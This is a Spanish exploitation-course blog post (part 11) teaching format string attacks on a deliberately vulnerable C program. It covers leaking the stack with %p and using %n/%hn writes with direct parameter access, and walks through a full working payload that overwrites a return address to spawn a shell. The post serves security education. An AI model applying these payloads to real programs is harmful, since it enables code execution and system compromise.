martes, 6 de noviembre de 2012

Minicurso de exploiting (parte 11): Introducción a los format string attacks

Bueno, durante las últimas entradas hemos estado analizando y explotando vulnerabilidades de buffer overflow (bof), y de paso nos hemos creado alguna shellcode sencillita pero funcional. Estas shellcodes que hemos desarrollado (y las que seguiremos desarrollando... si lo logro), las usaremos a lo largo del curso (que tampoco queda tanto). A estas alturas deberíamos habernos dado cuenta ya de la diferencia entre el exploit en sí mismo, el mecanismo por el cuál explotamos una vulnerabilidad, y el payload del exploit, la "carga" que lleva nuestro exploit y que es lo que va a ejecutar.

Aclarado esto y visto ya lo que es un bof, pasamos ahora a otro tipo de vulnerabilidades que también son explotables y permiten lo mismo que los bof, que un proceso deje de hacer lo que se supone debería hacer y que haga lo que nosotros queremos. Esta otra vulnerabilidad es conocida como uncontrolled format strings, format strings vulnerabilities o format strings attacks. Al igual que con los bofs, exec-shield y aslr son contramedidas (a fin de cuentas son contramedidas para la inyección y ejecución de código). Adelanto ya que las pruebas que muestre tendrán ambos métodos desactivados y compilaré los binarios con permisos de ejecución de la pila.

Bien, ¿qué es una vulnerabilidad de format string?. Son aquellas vulnerabilidades que se dan debido a que el programador no hizo un buen uso de las format strings que tienen algunas de las funciones de la biblioteca estandar de C y las cuales conocemos sobradamente, printf(), scanf(), etc. Como sabemos, toda esta familia de funciones tiene un parámetro conocido como "la cadena de formato", una string con unas directivas que le dicen a la función cómo interpretar los parámetros que vienen a continuación.

int printf(const char *format, ...);

Tal vez pensemos que conocemos bien como funciona esta cadena de formato, pero lo cierto es que cada vez que la estudio o miro un manual, más me sorprende, y cosas que en su momento ya sabía tengo que volver a refrescarlas o incluso volverlas a entender, debido a la complejidad de la misma.

No voy a explicar exhaustivamente como funciona la cadena de formato porque se supone que ya sabemos C, pero aquí está el manual.

Veamos la estructura básica de una vulnerabilidad de format string.

#include <stdio.h>
#include <stdlib.h>

void func(char *format) {
    printf(format);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    func(argv[1]);
    return 0;
}


Aquí tenemos una vulnerabilidad en el segundo printf (en negrita) debido a que el usuario puede controlar la cadena de formato. Esto es lo que nunca debemos permitir, que el usuario tenga control directo o indirecto sobre cómo se formatea la salida de una de estas funciones. Lo correcto hubiera sido hacer lo siguiente.

#include <stdio.h>
#include <stdlib.h>

void func(char *format) {
    printf("%s", format);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    func(argv[1]);
    return 0;
}


Nótese que ahora le estamos especificando a printf() que el formateo es simplemente una string. ¿Y por qué lo anterior no es bueno?, pues porque entonces el usuario puede hacer cosas como ésta.

$ ./format "%p . %p"
0x8000 . 0x8049ff4

Lo que he hecho es pasarle a la función una cadena que contiene directivas válidas como si una cadena de formato se tratara. Dado que esta cadena es usada directamente como cadena de formato, la función printf() interpreta estas directivas y comienza la diversión.
En el ejemplo que he puesto he pasado dos "%p", la directiva para imprimir un puntero. Como vemos, para el primer puntero se imprime "0x8000" y para el segundo "0x8049ff4". Sigámosle la pista a cómo se está comportanto printf()
  1. Comienza a parsear la cadena de formato.
  2. Encuentra el primer %p.
    1. Se dirige al segundo parámetro de la función (el primero es el puntero a la cadena de formato), donde se supone que está el valor correspondiente a ese %p.
    2. Dado que realmente a printf() no se le pasó un segundo parámetro se imprime lo que quiera que allí haya (basura), en este caso 0x8000.
  3. Se sigue parseando y se concatena en la salida " . ".
  4. Se encuentra el segundo %p.
    1. Se dirige al tercer parámetro, este valor está después del 0x8000 anterior (en este caso 0x8049ff4), y se imprime.
  5. Se termina de formatear y se envía a la salida el resultado.
Muchos ya saben lo que toca ahora, sacar información interesante de los stack frames... por ejemplo la dirección de retorno de func() :). Veamos el binario un poco con el gdb.

$ gdb -q format
Reading symbols from /path/format...(no debugging symbols found)...done.
(gdb) disas func
Dump of assembler code for function func:
   0x08048414 <+0>:    push   %ebp
   0x08048415 <+1>:    mov    %esp,%ebp
   0x08048417 <+3>:    sub    $0x18,%esp
   0x0804841a <+6>:    mov    0x8(%ebp),%eax
   0x0804841d <+9>:    mov    %eax,(%esp)
   0x08048420 <+12>:    call   0x8048320 <printf@plt>
   0x08048425 <+17>:    leave
   0x08048426 <+18>:    ret  
End of assembler dump.


En negrita he marcado la instrucción sub que reserva espacio para variables locales de main(), son 0x18 bytes (24) lo que se reserva. Con esta información ya podemos calcular que "parámetro" de printf() corresponde a la dirección de retorno de func().

(gdb) br *func+12
Punto de interrupción 1 at 0x8048420
(gdb) r "param"
Starting program: /path/format "param"

Breakpoint 1, 0x08048420 in func ()
(gdb) x/10x $esp
0xbffff2d0:    0xbffff543    0x00008000    0x08049ff4    0x08048491
0xbffff2e0:    0xffffffff    0xb7e54196    0xbffff308    0x08048468
0xbffff2f0:    0xbffff543    0x00000000


En rojo está el espacio reservado para variables locales, en azul el saved EBP y en verde la dirección de retorno. Teniendo en cuenta que el primer valor de todos es el primer parámetro para printf(), es decir la format string...

(gdb) x/s $esp[0]
Intentar desreferenciar un puntero genérico.

(gdb) x/s ((char **)$esp)[0]
0xbffff543:     "param"


Sí, en gdb se puede hacer cast. Podemos concluir que la dirección de retorno corresponde al "séptimo parámetro" de printf(). Vamos a comprobarlo ejecutando directamente.

$ ./format "%p . %p . %p . %p . %p . %p . (%p)"; echo ""
0x8000 . 0x8049ff4 . 0x8048491 . 0xffffffff . 0xb75a7196 . 0xbfd259e8 . (0x8048468)


Efectivamente vemos que hemos podido averiguar la dirección de retorno aprovechándonos de la format string.

Esto está muy bien, pero sólo nos sirve para leer datos de la pila y explorar el proceso, ¿sirve de algo? eso depende de lo que haya en la pila, estamos obteniendo información así que la criticidad de esto depende exclusivamente de la criticidad de la información.

Y a todo esto, ¿no habíamos dicho que las format strings son igual de peligrosas que los bof?, ¿cómo podemos ejecutar código a través de una vulnerabilidad de este tipo?. Ahora empieza lo (aun más) divertido, como ya comenté antes la cadena de formato contiene muchos misterios para un usuario normal de C. Solemos conocer cosas como que "%d" imprime un número en decimal, que "%s" imprime una string, algunos hasta saben retorcer más el formato y saben que "%7d" imprime un número en decimal con al menos 7 dígitos rellenados con espacios si fuere necesario y bastantes cosas más (algunas como DPA las veremos aquí). Sin embargo hay un formato menos conocido pero tremendamente interesante, "%n". Esta opción lo que hace es escribir en la zona de memoria apuntada por el correspondiente parámetro la cantidad de caracteres escritos hasta ese punto. Para ejemplificarlo veamos los resultados del siguiente programa.
#include <stdio.h>

int main() {
    int buf;

    printf("hola%n\n", &buf);
    printf("buf: %d\n", buf);
    printf("%d%n\n", 10, &buf);
    printf("buf: %d\n", buf);
}


El resultado de este programa es:

hola
buf: 4
10
buf: 2


En buf se pone el número de caracteres escritos hasta justo antes del %n.

Probemos ahora a ejecutar el programa anterior (el que tiene la vulnerabilidad) pasándole como parámetro "%n".

$ ./format "%n"
Violación de segmento (`core' generado)


Y ya sabemos lo que significa esto }:-).

Seguro que ya muchos ven por dónde van los tiros, ya no sólo podemos leer datos, ahora también tenemos una primitiva que escribe datos y con esto podemos empezar a jugar. Vamos a hacer la primera explotación de todas, la sencilla, llamar a otra función dentro del programa.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void shellcode() {
    char *args[] = { "/bin/sh", NULL };

    execve(args[0], args, NULL);
    exit(-1);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <param>.\n", argv[0]), exit(-1);

    printf(argv[1]);
    return 0;
}


Averiguamos dónde se encuentra shellcode().

$ objdump -d format2 | egrep "<shellcode>"
08048444 <shellcode>:


Ahora tenemos que averiguar dónde debemos poner esa dirección exactamente.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x0804847e <+0>:    push   %ebp
   0x0804847f <+1>:    mov    %esp,%ebp
   0x08048481 <+3>:    and    $0xfffffff0,%esp
   0x08048484 <+6>:    sub    $0x10,%esp
   0x08048487 <+9>:    cmpl   $0x2,0x8(%ebp)
   0x0804848b <+13>:    je     0x80484af <main+49>
   0x0804848d <+15>:    mov    0xc(%ebp),%eax
   0x08048490 <+18>:    mov    (%eax),%edx
   0x08048492 <+20>:    mov    $0x80485a8,%eax
   0x08048497 <+25>:    mov    %edx,0x4(%esp)
   0x0804849b <+29>:    mov    %eax,(%esp)
   0x0804849e <+32>:    call   0x8048340 <printf@plt>
   0x080484a3 <+37>:    movl   $0xffffffff,(%esp)
   0x080484aa <+44>:    call   0x8048360 <exit@plt>
   0x080484af <+49>:    mov    0xc(%ebp),%eax
   0x080484b2 <+52>:    add    $0x4,%eax
   0x080484b5 <+55>:    mov    (%eax),%eax
   0x080484b7 <+57>:    mov    %eax,(%esp)
   0x080484ba <+60>:    call   0x8048340 <printf@plt>
   0x080484bf <+65>:    mov    $0x0,%eax
   0x080484c4 <+70>:    leave 
   0x080484c5 <+71>:    ret   
End of assembler dump.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba
(gdb) r "prueba"
Starting program: /path/format2 "prueba"

Breakpoint 1, 0x080484ba in main ()
(gdb) x/20xw $esp
0xbffff2e0:    0xbffff541    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff300:    0x00000002    0xbffff394    0xbffff3a0    0xb7fdc858
0xbffff310:    0x00000000    0xbffff31c    0xbffff3a0    0x00000000
0xbffff320:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000
(gdb) info frame
Stack level 0, frame at 0xbffff300:
 eip = 0x80484ba in main; saved eip 0xb7e3a4d3
 Arglist at 0xbffff2f8, args:
 Locals at 0xbffff2f8, Previous frame's sp is 0xbffff300
 Saved registers:
  ebp at 0xbffff2f8, eip at 0xbffff2fc


Aquí mostramos el lugar donde se encuentra la dirección de retorno de main() (en verde). Vemos que está en el séptimo parámetro del printf(). Ahí es donde tenemos que conseguir poner el valor 0x08048444 que corresponde a shellcode(). Para lograr esto usando %n tendríamos que escribir un total de 0x08048444 = 134513732 caracteres.

Podemos ahora construir una string para pasársela al programa que le haga escribir entre los 6 primeros parámetros todos esos caracteres y luego sobreescriba la dirección de retorno.

$ ./format2 "`perl -e 'print "%22418955d"x5 . "%22418957d" . "%n"'`"

Si probamos a ejecutar esto lo que vamos a obtener es muchos, pero que muchos espacios. En mi caso he matado al programa ya que esto no es práctico y no tengo ganas de saber cuanto va a tardar para saber si obtengo la consola o no. En general este esquema presenta dos grandes desventajas. La primera más obvia y que acabamos de ver es que necesitamos imprimir muchísimos caracteres y eso hace de la explotación algo lentísimo. La segunda y que no se ha visto tanto de manifiesto aquí es que, si quiero escribir muy alejado del comienzo de la pila tengo que añadir muchas directivas de conversión para poder alcanzar la zona de memoria a sobreescribir. En el ejemplo que hemos visto sólo estamos a 7 parámetros de distancia de lo que queremos sobreescribir, pero ¿y si estuviéramos a 100?. Vamos a ver como evitar estos dos problemas.

Existen otras directivas para las cadenas de formatos algo menos conocidas como es por ejemplo usar una "h" precediendo al tipo de conversión (%hd por ejemplo) para especificar que lo que se lee o se escribe no es un int sino un sHort int (2 bytes en vez de 4...). Esto nos sirve para escribir la dirección a la que retornar en dos tiempos usando muchos menos caracteres. Dado que el número a escribir es 0x08048444 lo que haremos será escribir primero 0x8444 caracteres y luego 0x0804.

En definitiva, lo que tenemos que hacer es lo siguiente:
  1. Conseguir que en la pila haya algún valor que apunte a la dirección donde se encuentra la dirección de retorno (¡que lío!) para usarlo junto con %n.
  2. Escribir suficientes caracteres para que cuando escribamos con %n, se ponga el número correcto.
  3. Consumir suficientes parámetros para que nuestro %n utilice la dirección que apunta a la dirección de retorno de main().
  4. Utilizar %n para sobreescribir la dirección.
Vayamos por partes, lo primero es conseguir que en la pila haya algún valor que apunte a la dirección de la dirección de retorno. Esto es bastante sencillo, simplemente tenemos que poner ese valor en nuestra string y en algún punto de la pila aparecerá. Vamos a ver todos los pasos que he seguido para hacer esto.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x0804847e <+0>:    push   %ebp
   0x0804847f <+1>:    mov    %esp,%ebp
   0x08048481 <+3>:    and    $0xfffffff0,%esp
   0x08048484 <+6>:    sub    $0x10,%esp
   0x08048487 <+9>:    cmpl   $0x2,0x8(%ebp)
   0x0804848b <+13>:    je     0x80484af <main+49>
   0x0804848d <+15>:    mov    0xc(%ebp),%eax
   0x08048490 <+18>:    mov    (%eax),%edx
   0x08048492 <+20>:    mov    $0x80485a8,%eax
   0x08048497 <+25>:    mov    %edx,0x4(%esp)
   0x0804849b <+29>:    mov    %eax,(%esp)
   0x0804849e <+32>:    call   0x8048340 <printf@plt>
   0x080484a3 <+37>:    movl   $0xffffffff,(%esp)
   0x080484aa <+44>:    call   0x8048360 <exit@plt>
   0x080484af <+49>:    mov    0xc(%ebp),%eax
   0x080484b2 <+52>:    add    $0x4,%eax
   0x080484b5 <+55>:    mov    (%eax),%eax
   0x080484b7 <+57>:    mov    %eax,(%esp)
   0x080484ba <+60>:    call   0x8048340 <printf@plt>
   0x080484bf <+65>:    mov    $0x0,%eax
   0x080484c4 <+70>:    leave 
   0x080484c5 <+71>:    ret   
End of assembler dump.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba
(gdb) r "hola"
Starting program: /path/format2 "hola"

Breakpoint 1, 0x080484ba in main ()
(gdb) x/10xw $esp
0xbffff2f0:    0xbffff543    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff300:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff310:    0x00000002    0xbffff3a4


En la dirección 0xbffff30c (en verde) tenemos la dirección de retorno, vamos ahora a hacer que en algún sitio en la pila aparezca esta dirección.

(gdb) r `perl -e 'print "\x0c\xf3\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /path/format2 `perl -e 'print "\x0c\xf3\xff\xbf"'`

Breakpoint 1, 0x080484ba in main ()
(gdb) x/200xw $esp
0xbffff2f0:    0xbffff543    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff300:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff310:    0x00000002    0xbffff3a4    0xbffff3b0    0xb7fdc858


Omitimos datos...

0xbffff530:    0x6c707865    0x6974696f    0x662f676e    0x616d726f
0xbffff540:    0x0c003274    0x00bffff3    0x5f485353    0x4e454741
---Type <return> to continue, or q <return> to quit---
0xbffff550:    0x49505f54    0x38313d44    0x47003732    0x415f4750


Omitimos datos...

Usando perl, vuelvo a ejecutar pasándole una cadena que contiene los bytes con la dirección de la dirección de retorno (marcado en negrita). Después muestro dónde está esa cadena (marcada en rojo fuerte) omitiendo mucho de lo que me suelta el comando x/200xw $esp.

Podemos apreciar que efectivamente tenemos 0xbffff30c bastante abajo en la pila, pero que el número no se encuentra en una posición alineada a 4, esto es normal dado que es una cadena de bytes, que se pueden alinear en cualquier dirección dado que el tamaño de los bytes es 1. Pero no podemos tener ese valor partido ya que cuando vayamos a usarlo como un puntero (con el %n) al no estar alineado a 4 se producirá un fallo de acceso a memoria, ya que sólo se puede acceder a direcciones alineadas con el tamaño de los datos a los que se accede, es decir que cuando manejamos bytes se puede acceder a cualquier dirección, con short ints a direcciones múltiplo de 2 y a ints o punteros a direcciones alineadas a 4. Modificar esto en nuestro caso es bastante sencillo.

(gdb) r `perl -e 'print "\x0c\xf3\xff\xbf" . "A"x3'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/format2 `perl -e 'print "\x0c\xf3\xff\xbf" . "A"x3'`

Breakpoint 1, 0x080484ba in main ()
(gdb) x/200xw $esp
0xbffff2e0:    0xbffff540    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3


Omitimos datos...

0xbffff540:    0xbffff30c    0x00414141    0x5f485353    0x4e454741

Hemos añadido 3 bytes extras al final de la string (3 Aes) y con ello hemos conseguido que los bytes "\x0c\xf3\xff\xbf" se queden en una posición alineada a 4. Con esto ya tenemos en algún lado de la pila un valor alineado, que apunta a la dirección de retorno. Ahora tenemos que acceder a ese valor con %n, veamos cómo.

Lo primero a resolver es ¿qué parámetro sería el que corresponde a ese número? El dato se encuentra en 0xbffff540 y el primer parámetro de printf() descontando la propia cadena de formato está en 0xbffff2e4. La distancia entre ambos pues, es 0xbffff540 - 0xbffff2e4 = 0x25c = 604 bytes, o lo que es lo mismo 151 parámetros. Entonces según lo que sabemos, tendríamos que poner 150 directivas ("%d" por ejemplo) en nuestra string antes del "%n". Eso puede ser un supercoñazo si no se porque tenemos perl ("%d"x150), pero tampoco hace falta hacer eso.

Vamos a ver ahora lo que se conoce como Direct Parameter Access (DPA). La cadena de formato permite que las directivas puedan acceder al parámetro que sea y no al que les corresponde, para ello se antepone al caracter de conversión (y caracteres de relleno y longitud si los hubiere) el número del parámetro a acceder y un '$'. En nuestro ejemplo, para acceder al parámetro 151 hacemos lo siguiente.

(gdb) r `perl -e 'print "\x0c\xf3\xff\xbf" . "%151\\$n" . "A"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/format2 `perl -e 'print "\x0c\xf3\xff\xbf" . "%151\\$n" . "A"'`

(gdb) x/20xw $esp
0xbffff2e0:    0xbffff53c    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff300:    0x00000002    0xbffff394    0xbffff3a0    0xb7fdc858
0xbffff310:    0x00000000    0xbffff31c    0xbffff3a0    0x00000000
0xbffff320:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000
(gdb) nexti
0x080484bf in main ()
(gdb) x/20xw $esp
0xbffff2e0:    0xbffff53c    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2f0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3
0xbffff300:    0x00000002    0xbffff394    0xbffff3a0    0x00000004
0xbffff310:    0x00000000    0xbffff31c    0xbffff3a0    0x00000000
0xbffff320:    0x0804823c    0xb7fc6ff4    0x00000000    0x00000000


Quiero hacer notar varias cosas, para empezar nótese que estamos usando DPA con el "%151$n", con lo que accedemos al parámetro 151. También debemos fijarnos en que antes del '$' he tenido que escaparlo con un par de barras para que llegara al programa (perl, bash y gdb por medio hacen que las cosas se lien un poco). También hay que darse cuenta que ya no añade 3 Aes, sino sólo una porque al añadir "%151$n" la cadena vuelve a cambiar su posición en memoria y hay que realinear su comienzo. Y finalmente también hay que darse cuenta de que al aumentar el tamaño del parámetro al programa (nuestra string) la dirección donde se encuentra la dirección de retorno también cambia.

Dicho esto podemos comprobar que en la dirección que queríamos (0xbffff30c) se modifica con la cantidad de bytes escritos hasta el momento (las dos posiciones marcadas en lila). Con esto sabemos que estamos accediendo correctamente a la dirección que hemos puesto al comienzo de la cadena. Ahora tendríamos que modificar esa dirección para que realmente se acceda a la dirección de retorno, pero entonces pondríamos allí un 4, con lo que saltaríamos a la posición 0x00000004 de memoria y a saber lo que pasaría entonces (probablemente SIGSEGV). Necesitamos poner alli el número 0x08048444 que es donde está shellcode, a donde queremos saltar.

Para lograr poner el número que queremos vamos a usar más características que nos permiten las cadenas de formato. Vamos a aprovecharnos de la posibilidad de ponerle relleno a una conversión de la siguiente manera: "<dirección del retorno><caracteres de relleno>%151$n<relleno para que se alinee a 4>".

Por ahora vamos a obviar la dirección del retorno, la pondremos al final. Centrémonos en los caracteres de relleno. Necesitamos que aquí se escriban los 0x0804844 - 4 = 134513728 caracteres para que cuando se escriba en la dirección de retorno entre el número que queremos (dirección de shellcode()).

La cadena resultante de esto es "\xAA\xBB\xCC\xDD%134513728d%151$nAAAAAA". En rojo tenemos la parte donde debe ir la dirección del retorno, en naranja el relleno para imprimir suficientes caracteres, en verde la sobreescribura y las Aes para rellenar y conseguir alinear a 4. Si probamos a ejecutar eso incurriremos en uno de los problemas anteriores, muchísimos espacios y una ejecución que tarda demasiado.

Veremos ahora cómo conseguir hacer el relleno de otra forma para hacerlo más práctico. Se trata de usar más características de las cadenas de formato para conseguir la sobreescritura en 2 pasos mediante el uso del indicador de longitud que también permiten (¿no son las cadenas de formato como un iceberg?, están ahí pero por debajo son mucho más grandes). A la hora de hacer una conversión se le puede especificar el tamaño de la misma, poniendo cierta letra delante de la letra del formato de conversión. Por ejemplo, "%d" imprime un entero de 4 bytes, mientras que "%hd" imprime un entero de 2 bytes. A su vez "%hn" escribe el número de bytes en un entero de 2 bytes y no de 4 como hace "%n".

Sabiendo esto, lo que haremos será primero escribir en la parte baja de la dirección del retorno y luego en la parte alta, de forma que la primera vez tendremos que escribir 0x8444 = 33860 bytes y la segunda 0x0804 = 2052 bytes. Aquí aparece un nuevo problema (que raro). Debido a cómo funciona "%n" la primera vez necesitaré que se hayan escrito 33860 bytes y la segunda sólo 2052, pero no puedo "volver atrás" una vez he escrito los 33860. Para conseguir el efecto que queremos (que en la parte baja se escriba 33680 y en la alta 2052) tenemos que jugar un poco con las matemáticas y con cómo mueve los datos el procesador. Si se intenta escribir un número mayor de dos bytes (65535) en un short int la parte alta de ese número se desprecia. Veámoslo con un ejemplo, imaginemos que queremos, con esta técnica, que un entero tome el valor 0x00010002. El programa podría ser algo como esto.

#include <stdio.h>

int main() {
    int a;
    unsigned int b;
    unsigned short *pl, *ph;

    a = 0;


    // pl apunta a los 2 bytes menos significativos de b.
    pl = (short *)&b;


    
    // ph apunta a los 2 bytes más significativos de b.
    ph = (short *)(((int)(&b))+2);


    // Las directivas %hn rellenan b a traves de pl y ph.
    printf("AA%hn%<relleno?>d%hn\n", pl, a, ph);
    printf("%08x\n", b);
}


Dado que al principio escribimos dos Aes, cuando lleguemos a la impresión del segundo número ya habremos escrito dos caracteres, así que al volver a imprimir en el segundo %hn se pondrá 3 (debido a que a contiene un 0 que utiliza un caracter para imprimirse) y no 1.

¿Cómo salvar esta situación? con un truquillo algo oscuro. Dado que en la segunda escritura ya no podemos reducir el número de caracteres impresos y sabiendo que cuando escribimos un número en la posición de memoria de un short se desprecian los dos bytes superiores, lo que podemos hacer es, después de la primera impresión, imprimir hasta 0x10001 caracteres de forma que en el segundo %hn se intentará poner en un short el valor 0x10001 pero al ser demasiado grande se despreciarán los 2 bytes superiores, quedándose la zona de memoria escrita con 0x0001. Generalizando podemos decir que si hasta un punto concreto hemos escrito x bytes y luego necesitamos escribir y bytes, siendo x > y, entonces tendremos que escribir 0x10000 + y bytes = z bytes. Y el relleno a poner deberá ser de z - x bytes. Uhmmm... volviendo al ejemplo.

x = 2
y = 1
z = 0x10000 + 1 = 0x10001
relleno = 0x10001 - 2 = 0xffff = 65535

#include <stdio.h>

int main() {
    int a;
    unsigned int b;
    unsigned short *pl, *ph;

    a = 0;
    pl = (short *)&b;
    ph = (short *)(((int)(&b))+2);
    printf("AA%hn%65535d%hn\n", pl, a, ph);
    printf("%08x\n", b);
}


Nótese que hemos puesto en el relleno el valor calculado anteriormente. El resultado de la ejecución es el siguiente:

<65534 espacios>000010002

Vemos como efectivamente b toma el valor que queremos. Se que esto ha sido bastante coñazo y difícil de seguir, so sorry.

Volvamos ahora a nuestro ejemplo con la vulnerabilidad e intentemos aplicar esta técnica. Esta fue la última string que usamos "\xAA\xBB\xCC\xDD134513728%d%151$hAAAAAA" y vimos que no podemos usar un relleno tan grande. Intentemos ahora reescribir el relleno usando la técnica que acabamos de mostrar.

El número que queremos escribir es la dirección de shellcode (0x08048444), lo dividimos en dos trozos, el primero de 0x8444 = 33860 bytes y el segundo de 0x0804 = 2052 bytes. Claramente el primer trozo es más grande que el segundo, por lo tanto para escribir el segundo necesitaremos un relleno de 0x10000 + 0x804 - 0x8444 =  0x83c0 = 33728 bytes. Nuestra string quedaría entonces así "\xAA\xBB\xCC\xDD\xAA+2\xBB\xCC\xDD%33852d%152$hn%33728d%153$hnA".

Vamos a explicarla un poco, para empezar hemos añadido una nueva dirección al principio, ¿por qué?. Dado que ahora vamos a hacer la sobreescritura en 2 pasos, necesitamos tener en la pila la dirección donde escribir en cada uno de ellos, es decir la dirección de la parte baja de la dirección de retorno y la parte alta, por ello en la segunda he puesto un "\xAA+2" para especificar que lo único que cambia es que esa segunda dirección apunta a 2 bytes más altos que la dirección anterior. Luego se ha añadido la primera impresión que deberá escribir hasta 0x8444 bytes (la parte baja de la dirección de shellcode()), dado que antes del número que se imprima ahí ya hemos escrito los 8 bytes de las dos direcciones, hace falta restarlos de los 0x8444 = 33860 bytes necesarios, es decir que necesitaremos un primer relleno de 33852 bytes. Luego usamos DPA junto con "%hn" para escribir la mitad de la dirección de retorno, notarás que antes accedía al parámetro 151 y ahora accedo al 152, esto es debido a que al añadir 4 bytes más al principio de la string (la nueva dirección) la string no acaba en el mismo sitio de antes, depurando con gdb podemos averiguar la nueva distancia. Seguidamente volvemos a escribir otro número con su correspondiente relleno para que se escriban 0x0804 bytes como explicamos anteriormente. Luego usando de nuevo DPA y "%hn" accedemos al siguiente parámetro (la nueva dirección que hemos puesto) y sobreescribimos la parte alta de la dirección de retorno, donde nos quedará 0x08048444 (la dirección de shellcode()). Finalmente añadimos las Aes necesarias para que el comienzo de la string quede alineada a 4.

Veámoslo en directo desde el gdb.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) br *main+60
Punto de interrupción 1 at 0x80484ba

(gdb) r `perl -e 'print "\xdc\xf2\xff\xbf\xde\xf2\xff\xbf" . "%33852d" . "%152\\$n" . "%33728d" . "%153\\$hn" . "AA"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/format2 `perl -e 'print "\xdc\xf2\xff\xbf\xde\xf2\xff\xbf" . "%33852d" . "%152\\$n" . "%33728d" . "%153\\$hn" . "AA"'`

Breakpoint 1, 0x080484ba in main ()

(gdb) x/200xw $esp
0xbffff2c0:    0xbffff520    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2d0:    0x080484d0    0x00000000    0x00000000    0xb7e3a4d3


<Omito muchos datos>

0xbffff520:    0xbffff2dc    0xbffff2de    0x38333325    0x25643235
0xbffff530:    0x24323531    0x3333256e    0x64383237    0x33353125
0xbffff540:    0x416e6824    0x53530041    0x47415f48    0x5f544e45


<Omito más datos>

(gdb) nexti

<Omito todos los caracteres espacio y la impresión de números>

(gdb) x/8xw $esp
0xbffff2c0:    0xbffff520    0x00000000    0x080484d9    0xb7fc6ff4
0xbffff2d0:    0x080484d0    0x00000000    0x00000000    0x08048444


Si hemos seguido con atención todo lo que hemos ido haciendo y mostrando habremos observado que la dirección de retorno ha cambiado y ahora apunta a shellcode() }:-), si continuamos la ejecución desde este punto obtendremos la shell.

(gdb) cont
Continuando.
process 6121 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No hay tabla de símbolos cargada. Use la orden «file».
Error in re-setting breakpoint 1: No hay tabla de símbolos cargada. Use la orden «file».
Error in re-setting breakpoint 1: No hay tabla de símbolos cargada. Use la orden «file».
$ whoami
ole
$ exit

[Inferior 1 (process 6121) exited normally]


Et voilà! Hemos conseguido, a partir de un mal uso de las cadenas de formato sacarnos una shell! ¿no es fantástico? :D:D:D. Ahora pasemos a un entorno más salvaje, sin el gdb de por medio... aunque sin ASLR (ya hemos explicado cómo desactivarlo).

$ ./format2 `perl -e 'print "\xdc\xf2\xff\xbf\xde\xf2\xff\xbf" . "%33852d" . "%152\\$n" . "%33728d" . "%153\\$hn" . "AA"'`

<Impresión de los números con los espacios>

Violación de segmento (`core' generado)

Como era de esperar nos ha explotado en la cara jejeje. Al quitar del medio a gdb, como ya hemos visto en entradas anteriores, las cosas cambian de posición. Ahora mismo no estamos seguros ni de la dirección donde cae la dirección de retorno (nos invalida los 2 primeros valores de la string), ni la distancia entre cima de la pila y nuestra string (nos invalida los DPA para los "%hn"). Vamos a tener que calcularlo de nuevo.

Para averiguar la distancia entre la cima de la pila y el comienzo de nuestra string podemos abusar de la vulnerabilidad para que nos muestre zonas profundas de pila y buscar dónde comienza la string.

$ ./format2 "`perl -e 'print "A"x30 . "\n" . "%135\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x363836


Y tras unas cuantas iteraciones de ajuste...

$ ./format2 "`perl -e 'print "A"x30 . "\n" . "%140\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x41414141


Hemos obtenido el parámetro relativo donde comienza nuestra string, en este caso el 140. Aquí hay que hacer notar unas cuantas cosas, la primera es que la string que le estoy pasando al programa tiene 38 bytes, exactamente los mismos que he necesitado para la explotación dentro de gdb. Recordemos que si variamos este tamaño, la string se posicionará en otros lados, utilizo entonces los mismos bytes porque, presumiblemente, la string que voy a necesitar al final contendrá 38 bytes también.

Ahora tenemos que descubrir la dirección donde cae la dirección de retorno, para ello podemos usar el siguiente truquillo. Sabemos cómo es el stack frame de main() antes de llamar a printf(), lo hemos estado viendo anteriormente. Sabemos que la dirección de retorno correspondería al parámetro 8 de printf() y que argv correspondería al 10.

$ ./format2 "`perl -e 'print "A"x31 . "\n" . "%7\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xb7e3a4d3

$ ./format2 "`perl -e 'print "A"x31 . "\n" . "%9\\$p"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xbffff3c4


Ahora conocemos dónde cae argv cuando no hay gdb. Podemos volver a ejecutar con gdb y ver dónde está argv en ese caso para calcular cuánta distancia hay entre estas ejecuciones.

$ gdb -q format2
Leyendo símbolos desde /path/format2...(no se encontraron símbolos de depuración)hecho.
(gdb) br *main+60
